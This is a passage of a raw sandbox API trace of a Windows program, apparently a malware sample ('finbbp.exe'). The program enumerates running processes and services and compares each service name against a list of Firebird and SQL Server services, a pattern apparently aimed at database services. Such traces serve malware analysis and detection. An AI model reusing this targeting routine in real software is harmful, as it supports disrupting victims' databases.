lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.063] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0281.063] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0281.064] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0281.064] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0281.065] lstrlenW (lpString="Memory Compression") returned 18 [0281.065] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.065] lstrlenW (lpString="explorer.exe") returned 12 [0281.065] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.066] lstrlenW (lpString="SearchUI.exe") returned 12 [0281.066] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.066] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0281.066] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.067] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0281.067] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.067] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0281.067] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0281.067] lstrlenW (lpString="finbbp.exe") returned 10 [0281.068] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.068] lstrlenW (lpString="svchost.exe") returned 11 [0281.068] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0281.069] lstrlenW (lpString="dllhost.exe") returned 11 [0281.069] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0281.069] lstrlenW (lpString="dllhost.exe") returned 11 [0281.069] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0281.070] lstrlenW (lpString="finbbp.exe") returned 10 [0281.070] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 0 [0281.070] CloseHandle (hObject=0x4e4) returned 1 [0281.070] Sleep (dwMilliseconds=0x1f4) [0281.707] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aab78 [0281.707] EnumServicesStatusExW (in: hSCManager=0x41aab78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0281.708] GetLastError () returned 0xea [0281.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d3ff0 [0281.708] EnumServicesStatusExW (in: hSCManager=0x41aab78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d3ff0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d3ff0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0281.709] CloseServiceHandle (hSCObject=0x41aab78) returned 1 [0281.710] lstrlenW (lpString="Appinfo") returned 7 [0281.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0281.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0281.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0281.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0281.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0281.710] lstrlenW (lpString="AppXSvc") returned 7 [0281.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0281.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0281.710] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0281.710] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0281.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0281.710] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0281.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.710] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0281.710] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0281.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0281.710] lstrlenW (lpString="Audiosrv") returned 8 [0281.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0281.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0281.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0281.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0281.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0281.710] lstrlenW (lpString="BFE") returned 3 [0281.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0281.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0281.711] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0281.711] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0281.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0281.711] lstrlenW (lpString="BITS") returned 4 [0281.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0281.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0281.711] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0281.711] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0281.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0281.711] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0281.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.711] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0281.711] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0281.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0281.711] lstrlenW (lpString="CDPSvc") returned 6 [0281.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0281.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0281.711] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0281.711] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0281.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0281.711] lstrlenW (lpString="ClickToRunSvc") returned 13 [0281.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.711] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0281.711] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0281.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0281.711] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0281.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.712] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0281.712] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0281.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0281.712] lstrlenW (lpString="CryptSvc") returned 8 [0281.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0281.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0281.712] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0281.712] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0281.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0281.712] lstrlenW (lpString="DcomLaunch") returned 10 [0281.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0281.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0281.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0281.712] lstrlenW (lpString="DeviceAssociationService") returned 24 [0281.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0281.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0281.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0281.712] lstrlenW (lpString="Dhcp") returned 4 [0281.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0281.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0281.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0281.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0281.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0281.712] lstrlenW (lpString="Dnscache") returned 8 [0281.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0281.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0281.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0281.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0281.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0281.713] lstrlenW (lpString="DPS") returned 3 [0281.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0281.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0281.713] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0281.713] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0281.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0281.713] lstrlenW (lpString="DusmSvc") returned 7 [0281.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0281.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0281.713] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0281.713] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0281.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0281.713] lstrlenW (lpString="EventLog") returned 8 [0281.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0281.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0281.713] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0281.713] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0281.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0281.713] lstrlenW (lpString="EventSystem") returned 11 [0281.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0281.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0281.713] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0281.713] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0281.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0281.713] lstrlenW (lpString="FontCache") returned 9 [0281.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0281.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0281.714] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0281.714] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0281.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0281.714] lstrlenW (lpString="gpsvc") returned 5 [0281.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0281.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0281.714] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0281.714] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0281.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0281.714] lstrlenW (lpString="iphlpsvc") returned 8 [0281.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.714] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0281.714] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0281.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0281.714] lstrlenW (lpString="KeyIso") returned 6 [0281.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0281.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0281.714] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0281.714] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0281.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0281.714] lstrlenW (lpString="LanmanServer") returned 12 [0281.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0281.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0281.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0281.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0281.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0281.714] lstrlenW (lpString="LanmanWorkstation") returned 17 [0281.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.715] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0281.715] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0281.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0281.715] lstrlenW (lpString="lfsvc") returned 5 [0281.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0281.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0281.715] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0281.715] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0281.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0281.715] lstrlenW (lpString="lmhosts") returned 7 [0281.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0281.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0281.715] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0281.715] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0281.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0281.715] lstrlenW (lpString="LSM") returned 3 [0281.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0281.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0281.715] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0281.715] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0281.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0281.715] lstrlenW (lpString="MpsSvc") returned 6 [0281.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0281.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0281.715] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0281.715] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0281.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0281.715] lstrlenW (lpString="NcbService") returned 10 [0281.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0281.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0281.715] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0281.716] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0281.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0281.716] lstrlenW (lpString="netprofm") returned 8 [0281.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0281.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0281.716] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0281.716] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0281.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0281.716] lstrlenW (lpString="NgcSvc") returned 6 [0281.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0281.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0281.716] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0281.716] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0281.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0281.716] lstrlenW (lpString="NlaSvc") returned 6 [0281.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0281.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0281.716] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0281.716] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0281.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0281.716] lstrlenW (lpString="nsi") returned 3 [0281.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0281.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0281.716] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0281.716] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0281.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0281.716] lstrlenW (lpString="PcaSvc") returned 6 [0281.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0281.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0281.716] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0281.717] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0281.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0281.717] lstrlenW (lpString="PlugPlay") returned 8 [0281.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0281.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0281.717] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0281.717] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0281.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0281.717] lstrlenW (lpString="Power") returned 5 [0281.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0281.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0281.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0281.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0281.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0281.717] lstrlenW (lpString="ProfSvc") returned 7 [0281.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0281.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0281.717] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0281.717] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0281.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0281.717] lstrlenW (lpString="RpcEptMapper") returned 12 [0281.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.717] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0281.717] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0281.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0281.717] lstrlenW (lpString="RpcSs") returned 5 [0281.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0281.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0281.717] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0281.717] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0281.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0281.718] lstrlenW (lpString="SamSs") returned 5 [0281.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0281.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0281.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0281.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0281.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0281.718] lstrlenW (lpString="Schedule") returned 8 [0281.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0281.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0281.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0281.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0281.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0281.718] lstrlenW (lpString="SecurityHealthService") returned 21 [0281.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 